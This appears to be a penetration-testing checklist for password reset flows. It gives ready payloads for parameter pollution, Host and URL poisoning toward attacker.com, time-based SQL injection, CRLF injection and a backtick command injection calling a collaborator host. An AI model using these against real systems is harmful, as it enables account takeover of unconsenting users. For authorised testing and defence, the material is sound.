- Look for Password Reset Poisoning.
- HTTP Parameter Pollution:
email=victim@gmail.com&email=attacker@gmail.com
email[]=victim@gmail.com&email[]=attacker@gmail.com
email=victim@gmail.com%20email=attacker@gmail.com
email=victim@gmail.com|email=attacker@gmail.com
{"email":"victim@gmail.com","email":"attacker@gmail.com"}
{"email":["victim@gmail.com","attacker@gmail.com"]}
Check if you can reset victim's password using the link received in attacker's inbox.
- Look for IDOR while resetting password through password reset link. Use paramminer to discover additional parameters or append previously known parameters (For example, you may find a parameter uid while updating your profile) in the request.
- Broken Crypto - Check if you can guess how the password reset tokens are generated.
- Password reset token Leakage via referral header - Open the password reset link and click on any external links available in the page.
- Token leakage in response/JS files - Search for the password reset token in the response of the request or in JS files.
- Session/Token is not expiring after password reset.
- Weak Password Policy - Add only space in password.
- Request for 2 password reset links and try the older one.
- Try:
POST https://attacker.com/resetpassword.php HTTP/1.1
POST @attacker.com/resetpassword.php HTTP/1.1
POST :@attacker.com/resetpassword.php HTTP/1.1
POST /resetpassword.php@attacker.com HTTP/1.1
Check if the password reset link is manipulated or not.
- SQLi:
test@test.com'+(select*from(select(sleep(2)))a)+' - CRLF:
/resetpassword?%0d%0aHost:%20attacker.com - Register with a username identical to the victim's username, but with white spaces inserted before and/or after the username("tuhin1729 ", " tuhin1729 " etc). Try a password reset for your account. Use the token to reset victim's password. A similar vulnerability was found in CTFd (CVE-2020-7245)
- Application Level DoS - Try to set a very long password and check if the response time is delayed or if you get a 5xx response.
- If they are sending an otp for password reset, try 2FA Bypass techniques.
- During registration, use homograph in email. Now try password reset.
- Change the request method and content-type and observer how the application is responding.
- Append null bytes after your email and observe the response.
- Try XSS, SSTI etc in the email field.
- Try Command injection by
email=hello@`whoami`.xyz.burpcollaborator.net - 2FA auto disabled after password reset.
- User Enumeration.
- Check whether any param value is reflecting in the email. Now try HTMLi.
- XXE (if forgot-password request accepts xml).
- Missing Rate Limit - Email triggering.
Reference: